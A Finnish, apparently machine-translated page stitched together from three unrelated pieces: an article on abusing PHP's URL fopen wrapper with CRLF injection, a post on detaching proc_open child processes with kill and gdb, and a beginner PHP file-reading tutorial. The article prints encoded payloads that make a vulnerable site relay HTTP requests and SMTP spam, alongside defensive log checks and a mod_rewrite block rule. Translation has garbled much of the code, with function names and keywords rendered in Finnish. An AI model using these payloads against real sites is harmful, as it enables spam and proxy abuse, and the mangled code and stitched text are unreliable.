Tiedostojen ja ulkoisten tietojen avaaminen. Mahdollinen php-skriptien haavoittuvuus
Fopen-, file-, include- ja demand-funktiot voivat avata tiedostoja muista sivustoista käyttämällä http- ja ftp-protokollia. Tämä ominaisuus sisältää mahdollisen haavoittuvuuden php-skripteissä, mikä mahdollistaa sivuston käytön välityspalvelimena.
Varoitan, että tässä materiaalissa ei ole mitään uutta. Huolimatta vaikuttavista hyökkääjän ominaisuuksistaan haavoittuvuus on yksinkertaisesti yhdistelmä tunnettuja php-ominaisuuksia.
Vuonna 2002 samanaikaisesti useat ohjelmistojen haavoittuvuuksia etsivät ryhmät löysivät vakavan ja voimakkaan php-haavoittuvuuden.
Venäjänkielisessä Internetissä tätä haavoittuvuutta ei käytännössä peitetty. En ole löytänyt suoraa raporttia tästä haavoittuvuudesta venäjänkielisiltä tietoturvasivustoilta.
Haavoittuvuus
Url fopen kääre
Toimivuuden lisäämiseksi ja koodauksen yksinkertaistamiseksi php-kehittäjät tekivät tällaisen ominaisuuden fopen-, file-, include- ja muihin toimintoihin. Jos tiedoston nimi alkaa "http: //", palvelin tekee HTTP-pyynnön, lataa sivun ja kirjoittaa sen muuttujaan kuten tavallisesta tiedostosta. Etuliitteet "ftp: //", "php: //" toimivat samalla tavalla (jälkimmäinen on tarkoitettu lukemiseen ja kirjoittamiseen stdin-, stdout- ja stderr-tiedostoihin). Tämä oli tarpeen, jotta sivuston kehittäjät eivät kärsineet http-pyyntökirjastoista eivätkä kirjoittaneet niitä manuaalisesti. Tämä vaihtoehto on poistettu käytöstä php-asetuksissa, parametri allow_url_fopen.
CR / LF HTTP-pyynnöissä
HTTP-pyynnön rivinvaihto- ja rivinvaihtomerkkien yhdistelmä erottaa otsikot. Voit lukea tästä lisää Anton Kalmykovin artikkelista. Tämä merkkiyhdistelmä voidaan lähettää GET-pyynnössä muodossa "% 0D% 0A".
Epäluotettava syöttö
Monilla sivustoilla sivut luodaan malliskriptin avulla. Kaikki sivustopyynnöt ohjataan skriptiin. Avattavan tiedoston nimi on otettu kohteesta REQUEST_URI. Tiedosto luetaan, siihen lisätään malli, jossa on navigointi, otsikko jne. ja tulos palautetaan asiakkaalle.
Huolimaton tai kokematon ohjelmoija voi helposti kirjoittaa tiedoston avaamiseksi tarkistamatta tietoja:
echo implode ("", tiedosto (substr ($ REQUEST_URI, 1)));
Ensimmäinen merkki, vinoviiva, hylätään pyynnöstä ja tiedosto avataan. Hyökkääjä voi helposti kirjoittaa merkkijonon http://example.com polkuksi palvelimella olevaan tiedostoon: http://n00b.ohjelmoija.com/http://example.com Toinen vaihtoehto on, että kaikki sivuston osoitteet näyttävät tältä http://n00b.programmer.com/index.php?f=news Tässä tapauksessa hyökkääjä yrittää avata osoitteen, kuten http://n00b.ohjelmoija.com/index.php?f=http://example.com On erittäin tärkeää olla luottamatta saapuviin tietoihin ja suodattaa saapuvat pyynnöt säännöllisillä lausekkeilla.
Käyttää hyväkseen
Koska annetussa esimerkissä osoitetta ei tarkisteta millään tavalla, pyyntöön voidaan lisätä rivi HTTP-pyynnöllä. Jos hyökkääjä avaa polun
Hakemisto.php? F = http% 3A% 2F% 2Fexample.com% 2F + HTTP% 2F1.0% 0D% 0A% 0D% 0A
Isäntä: + esimerkki.fi% 0D% 0AUkäyttäjäagentti: + Välilyönti + Bizon% 2F9% 2E11% 2E2001 +
% 28Windows + 67% 29% 0D% 0Avar1% 3Dfoo% 26var2% 3Dbar% 0D% 0A% 0D% 0A, komentosarja suorittaa HTTP-pyynnön: GET example.com/ HTTP / 1.0 \ r \ n
Isäntä: example.com \ r \ n
User-agent: Space Bizon / 9.11.2001 (Windows 67) \ r \ n
var1 = foo & var2 = bar \ r \ n
\ r \ n
HTTP / 1.0 \ r \ n
Isäntä: www.site1.st \ r \ n
User-Agent: PHP / 4.1.2 \ r \ n
\ r \ n
Skripti lisää kolme viimeistä riviä automaattisesti, mutta kaksi \ r \ n ennen niitä tarkoittaa pyynnön loppua. Siten suojaamatonta komentosarjaa voidaan käyttää välityspalvelimena. Tunteessaan useita "reikäisiä" sivustoja, hyökkääjä voi rakentaa niistä ketjun vaikeuttaakseen niiden löytämistä.
Älykäs hyväksikäyttö
Jos ilmaisen esittelyn tarjoavalla palveluntarjoajalla on reikäinen sivusto, voit kirjoittaa kotipalvelimelle komentosarjan, joka luo pyyntöjä tällaiselle välityspalvelimelle ja säästää hieman rahaa. Tämä tapaus on luonnollisesti hyväksyttävä ja rangaistava, mutta suurelta osin itsensä hemmottelu. Jonkun toisen koneen kannattavampi käyttö välityspalvelimena on kaupallisen roskapostin lähettäminen. Esimerkki Ulf Harnhammarin kirjoittamasta artikkelista:
Index.php? F = http% 3A% 2F% 2Fmail.example.com% 3A25% 2F + HTTP / 1,0% 0D% 0AHELO +
oma.kone% 0D% 0AMAIL + FROM% 3A% 3Cme% 40my.oma.kone% 3E% 0D% 0ARCPT +
TO% 3A% 3Cinfo% 40site1.st% 3E% 0D% 0ADATA% 0D% 0Ai + ei + koskaan + sano + + sanaa +
MYÖNTÄ + jälleen% 0D% 0A.% 0D% 0LOPETA% 0D% 0A% 0D% 0A
(on yksi rivi) PHP-moduuli muodostaa yhteyden mail.example.com-palvelimeen portissa 25 ja lähettää seuraavan pyynnön:
GET / HTTP / 1.0 \ r \ n
HELO my.own.machine \ r \ n
POSTIT LÄHETTÄJÄ: \ r \ n
RCPT TO: \ r \ n
DATA \ r \ n
en enää koskaan sano sanaa VYYDYTTÄ \ r \ n
\ r \ n
LOPETA \ r \ n \ r \ n
HTTP / 1.0 \ r \ n
Isäntä: mail.site1.st:25\r\n
User-Agent: PHP / 4.1.2 \ r \ n \ r \ n
PHP ja postipalvelin vannovat, mutta sähköposti lähetetään. Jos jonkun sivustossa on tällainen haavoittuvuus, voit etsiä suljettua sähköpostinvälitystä, joka hyväksyy sähköpostin hyödynnetyltä verkkopalvelimelta. Palveluntarjoajat eivät lisää tätä välitystä mustalle listalle, ja roskapostitus voi olla erittäin tehokasta. Löysin verkkosivustoltani paljon pyyntöjä, joissa oli 25. portti. Ja ennen tämän vuoden alkua tällaisia pyyntöjä ei ollut. Aikaisemmin vain harvat uteliaat käyttäjät tiesivät tällaisesta haavoittuvuudesta, ja vasta viime vuonna aukko tuli yleisesti tunnetuksi ja roskapostittajat levittivät sen.
Hyödynnä suojatoimenpiteitä
Sinun on kehittäjänä tai sivuston omistajana tärkeää tehdä kaikkesi, jotta kukaan ei voi lähettää roskapostia sivustosi kautta. Jos se onnistuu, se lähetetään jostain havaijilaisesta puhelinliittymästä, jonka omistajat eivät ymmärrä ihmiskieltä, ja sinä voit olla viimeinen.
Tarkistetaan kyselylokia
Aluksi on hyödyllistä tutustua sivustolta pyydettyjen yksilöllisten osoitteiden luetteloon. Tämä auttaa selvittämään, onko reiän hyökkäyksiä ja hyväksikäyttöä tapahtunut. Yleensä roskapostittajat tarkistavat välittömästi mahdollisuuden muodostaa yhteys tarvitsemaansa sähköpostinvälittäjään portissa 25. Siksi sinun tulee etsiä merkkijonoja ": 25" ja "% 3A25".
Php asetukset
Helpoin tapa poistaa mahdollinen haavoittuvuus on estää URL-osoitteiden avaaminen tiedostotoimintojen kautta. Jos olet palvelimesi järjestelmänvalvoja, poista allow_url_fopen käytöstä php-asetuksista. Jos olet vain asiakas, poista se käytöstä paikallisesti. Kirjoita sivuston juuren .htaccess-tiedostoon rivi: php_value allow_url_fopen 0 Jos olet ilkeä isännöintipalveluntarjoaja, voit poistaa fopen-kääreen URL-osoitteen käytöstä kaikilta asiakkailta, joilla on direktiivi php_admin_value... Vikasietotilan käyttöönotto ei auta tässä tapauksessa, toiminto toimii edelleen oikein.
Koodin vaihto
Tällainen vaikea tilanne on mahdollinen: olet asiakas ja isännöintipalveluntarjoajan huolimaton ylläpitäjä syötti kaikki php-asetukset kohtaan php_admin_value, etkä voi muuttaa niitä. Meidän on muutettava komentosarjakoodia. Helpoin tapa on etsiä fopen, file ja sisällyttää funktioita, jotka avaavat tiedostoja muuttujien nimistä. Ja leikkaa http://- ja ftp://-etuliitteet str_replace-funktiolla. Joskus komentosarjan on kuitenkin avattava käyttäjältä tulevat osoitteet. Esimerkiksi käsikirjoituspornolysaattori, joka lisää äidinkielen tekstiin tai korvaa tekstin katkeralla venäjällä ("raita peräänantamattomalle azzofille, fsem fftykat"). Nämä sivustot ovat luultavasti ne, jotka ovat kärsineet eniten huolimattomasta ohjelmoinnista. Tässä tapauksessa on täysin mahdollista rajoittua leikkaamaan "\ r \ n" tuloksena olevasta merkkijonosta. Tässä tapauksessa hyökkääjä ei pystyisi lisäämään omaa otsikkoaan lähettämääsi pyyntöön.
Työn lopettaminen loukkaavasta pyynnöstä
Asiakas, joka indeksoi sivustoasi todentamattomien muuttujien varalta, luo tarpeetonta liikennettä ja lataa palvelinprosessorin. On selvää, että hän ei tarvitse sivustosi luomia sivuja, jos ne eivät toimi välityspalvelimena. On suositeltavaa lopettaa tällaiset pyynnöt jo ennen php-tulkin käynnistämistä. Tämä voidaan tehdä käyttämällä mod_rewrite-moduulia. Laitoin tämän rivin sivuston juureen olevaan .htaccess-tiedostoon:
Uudelleenkirjoitussääntö ((% 3A |:) 25 |% 0D% 0A) - [G]
Oletetaan, että sivusto ei lähetä lomakkeita, joissa on monirivinen käyttäjän syöte GET-menetelmällä. Muuten tämä sääntö estää heidät.
Jos tuet lukuystävällistä osoitusta mod_rewrite-komennolla, kaksoispistettä ja CRLF:tä ei todennäköisesti käytetä. Siksi muut RewriteRule-rivit eivät vastaa tarkistuspyyntöä, ja rivi, joka lopettaa pyynnön käsittelyn, on parasta sijoittaa sääntöluettelon loppuun. Sitten normaalit pyynnöt kirjoitetaan uudelleen ja ohjataan tälle riville (käytä [L]-lippua), mikä lyhentää käsittelyaikaa. Se voi vaihdella eri olosuhteiden mukaan.
Minulla oli aikaa viikonloppuna, joten tein vähän tutkimusta proc_open () -sovelluksesta * nix -järjestelmissä.
Kun taas proc_open () ei estä PHP-komentosarjan suorittamista, vaikka komentotulkkikomentosarja ei toimi taustalla. PHP kutsuu automaattisesti proc_close () -koodia, kun koko PHP-skripti on suoritettu, ellet kutsu sitä. Joten voimme kuvitella, että meillä on aina rivi proc_close () komentosarjan lopussa.
Ongelma piilee ei-ilmeisessä, mutta loogisessa proc_close () -esikuvassa. Oletetaan, että meillä on skripti, kuten:
$ proc = proc_open ("top -b -n 10000", matriisi (taulukko ("putki", "r"), taulukko ("putki", "w")), $ putket); // Käsittelee joitakin komentosarjamme tuottamia tietoja, mutta ei kaikkea dataa echo fread ($ pipes, 100); // Älä odota sciptin suoritus päättymistä - poistu // sulje putket array_map (" fclose ", $ pipes); // sulje prosessi proc_close ($ proc);
Kummallista kyllä, proc_close () odottaa, kunnes komentosarja päättyy, mutta komentosarjamme lopetettiin pian sen jälkeen. Tämä johtuu siitä, että olemme sulkeneet putket (näyttää siltä, että PHP tekee tämän hiljaa, jos olemme unohtaneet), koska tämä skripti yrittää kirjoittaa jotain putkeen, jota ei ole jo olemassa - se saa virheilmoituksen ja poistuu.
Kokeillaan nyt ilman putkia (no, kyllä he tekevät, mutta he käyttävät nykyistä tty:tä ilman PHP-viittausta):
$ proc = proc_open ("top -b -n 10000", taulukko (), $ putket); proc_close ($ proc);
Nyt PHP-skriptimme odottaa shell-skriptimme valmistumista. Voimmeko välttää tämän? Onneksi PHP luo shell-skriptejä
Sh -c "shell_script"
joten voimme vain tappaa sh-prosessin ja jättää skriptimme käynnissä:
$ proc = proc_open ("top -b -n 10000", taulukko (), $ putket); $ proc_status = proc_get_status ($ proc); exec ("tappaa -9". $ proc_status ["pid"]); proc_close ($ proc);
Voisimme tietysti vain suorittaa tämän prosessin taustalla, esimerkiksi:
$ proc = proc_open ("top -b -n 10000 &", taulukko (), $ pipes); proc_close ($ proc);
ja sillä ei ole ongelmaa, mutta tämä funktio vie meidät vaikeimpaan kysymykseen: voimmeko aloittaa prosessin komennolla proc_open (), lukea jonkin tulosteen ja sitten pakottaa prosessin uudelleen? No tavallaan kyllä.
Suurin ongelma tässä ovat putket: emme voi sulkea niitä tai prosessimme kuolee, mutta tarvitsemme niitä lukemaan hyötykuorma tästä prosessista. Osoittautuu, että voimme käyttää taikatemppua täällä - gdb.
Luo ensin tiedosto jonnekin (/ usr / share / gdb_null_descr esimerkissäni), jossa on seuraava sisältö:
P dup2 (avoin ("/ dev / null", 0), 1) p dup2 (avoin ("/ dev / null", 0), 2)
Se käskee gdb:tä muuttamaan kuvaajia 1 ja 2 (no, yleensä stdout ja stderr) uusille tiedostokäsittelijöille (tässä esimerkissä / dev / null, mutta voit muuttaa sen).
Vielä viimeinen asia: varmista, että gdb voi muodostaa yhteyden muihin käynnissä oleviin prosesseihin - tämä on tilanne joissakin järjestelmissä oletuksena, mutta esimerkiksi ubuntu 10.10:ssä sinun on asetettava / proc / sys / kernel / yama / ptrace_scope arvoksi 0, jos eivät käytä sitä root-käyttäjänä.
$ proc = proc_open ("top -b -n 10000", array (matriisi ("pipe", "r"), array ("pipe", "w"), array ("pipe", "w")), $ putket); // Käsittelee joitakin komentosarjamme tuottamia tietoja, mutta ei kaikkea dataa echo fread ($ pipes, 100); $ proc_status = proc_get_status ($ proc); // Etsi prosessimme todellinen pid (meidän täytyy mennä yksi askel alaspäin prosessipuussa) $ pid = trim (exec ("ps h -o pid --ppid". $ Proc_status ["pid"])); // Tappaa vanhempi sh-prosessi exec ("kill -s 9". $ Proc_status ["pid"]); // Muuta stdin / stdout-käsittelijöitä prosessissamme exec ("gdb -p". $ Pid. "--Batch -x / usr / share / gdb_null_descr"); array_map ("fclose", $ pipes); proc_close ($ proc);
edit: Unohdin mainita, että PHP ei suorita shell-skriptiäsi heti, joten joudut odottamaan hieman ennen muiden shell-komentojen suorittamista, mutta tämä on yleensä riittävän nopea (tai PHP on tarpeeksi hidas) ja olen laiska lisäämään näitä tarkistuksia esimerkkeihini.
Tässä luvussa opetetaan kuinka avata, lukea ja sulkea tiedosto palvelimella.
PHP Avaa tiedosto - fopen ()
Parempi tapa avata tiedostoja on fopen () -funktiolla. Tämä toiminto antaa sinulle enemmän vaihtoehtoja kuin readfile () -toiminto.
Käytämme oppituntien aikana tekstitiedostoa "webdictionary.txt":
AJAX = Asynkroninen JavaScript ja XML
CSS = Cascading Style Sheets
HTML = Hyper Text Markup Language
PHP = PHP Hypertext Preprocessor
SQL = Structured Query Language
SVG = Skaalautuva vektorigrafiikka
XML = EXtensible Markup Language
Parametrin fopen () ensimmäinen parametri sisältää avattavan tiedoston nimen ja toinen parametri määrittää, missä tilassa tiedosto avataan. Seuraava esimerkki luo myös viestin, jos fopen () -funktio ei pysty avaamaan määritettyä tiedostoa:
Esimerkki
echo fread ($ oma tiedosto, tiedostokoko ("webdictionary.txt"));
fclose ($ oma tiedosto);
?>
Kärki: Fread () ja fclose () -funktiot selitetään alla.
Tiedosto voidaan avata jollakin seuraavista tavoista:
Tilat | Kuvaus |
---|---|
r | Avaa tiedosto vain luettavaksi |
w | Avaa tiedosto vain kirjoitusta varten |
a | Avaa tiedosto vain kirjoitusta varten |
x | Luo uuden tiedoston vain kirjoitusta varten |
r + | Avaa tiedosto lukemista/kirjoitusta varten... Tiedostoosoitin alkaa tiedoston alusta |
w + | Avaa tiedosto lukemista/kirjoitusta varten... Poistaa tiedoston sisällön tai luo uuden tiedoston, jos sitä ei ole olemassa. Tiedostoosoitin alkaa tiedoston alusta |
+ | Avaa tiedosto lukemista/kirjoitusta varten... Tiedostossa olevat tiedot säilytetään. Tiedostoosoitin alkaa tiedoston lopusta. Luo uuden tiedoston, jos tiedostoa ei ole olemassa |
x + | Luo uuden tiedoston lukemista/kirjoitusta varten... Palauttaa FALSE ja virheilmoituksen, jos tiedosto on jo olemassa |
PHP Lue tiedosto - fread ()
Fread () -funktio lukee avoimesta tiedostosta.
Ensimmäinen parametri fread () sisältää luettavan tiedoston nimen ja toinen parametri määrittää luettavien tavujen enimmäismäärän.
Seuraava PHP-koodi lukee "webdictionary.txt"-tiedoston loppuun:
Fread ($ oma tiedosto, tiedostokoko ("webdictionary.txt"));
PHP Sulje tiedosto - fclose ()
Fclose () -toimintoa käytetään avoimen tiedoston sulkemiseen.
On hyvä ohjelmointikäytäntö sulkea kaikki tiedostot, kun olet saanut ne valmiiksi. Et halua avoimen tiedoston pyörivän palvelimellasi vievän resursseja!
fclose () vaatii suljettavan tiedoston nimen (tai muuttujan, joka sisältää tiedostonimen):
$ myfile = fopen ("webdictionary.txt", "r");
// joku koodi suoritettavana...
fclose ($ oma tiedosto);
?>
PHP Read Single Line - fgets ()
Fgets () -funktiota käytetään yhden rivin lukemiseen tiedostosta.
Alla oleva esimerkki tulostaa "webdictionary.txt"-tiedoston ensimmäisen rivin:
Huomautus: Fgets () -funktion kutsun jälkeen tiedostoosoitin on siirtynyt seuraavalle riville.
PHP Tarkista tiedoston loppu - feof ()
Feof () -funktio tarkistaa, onko "tiedoston loppu" (EOF) saavutettu.
Feof () -funktio on hyödyllinen tuntemattoman pituisten tietojen silmukassa.
Alla oleva esimerkki lukee "webdictionary.txt" -tiedoston rivi riviltä, kunnes tiedoston loppu saavutetaan:
Esimerkki
$ myfile = fopen ("webdictionary.txt", "r") or die ("Tiedostoa ei voi avata!");
// Tulostaa yhden rivin tiedoston loppuun asti
while (! feof ($ myfile)) (
echo fgets ($ oma tiedosto). "
";
}
fclose ($ oma tiedosto);
?>
PHP lue yksi merkki - fgetc ()
Fgetc () -funktiota käytetään yhden merkin lukemiseen tiedostosta.
Alla oleva esimerkki lukee "webdictionary.txt"-tiedoston merkki merkiltä, kunnes tiedoston loppu saavutetaan:
Esimerkki
$ myfile = fopen ("webdictionary.txt", "r") or die ("Tiedostoa ei voi avata!");
// Tulostaa yhden merkin tiedoston loppuun asti
while (! feof ($ myfile)) (
echo fgetc ($ oma tiedosto);
}
fclose ($ oma tiedosto);
?>
Huomautus: Fgetc () -funktion kutsun jälkeen tiedostoosoitin siirtyy seuraavaan merkkiin.
Täydellinen PHP-tiedostojärjestelmän viite
Täydellisen viittauksen tiedostojärjestelmän toiminnoista löydät täydellisestä artikkelistamme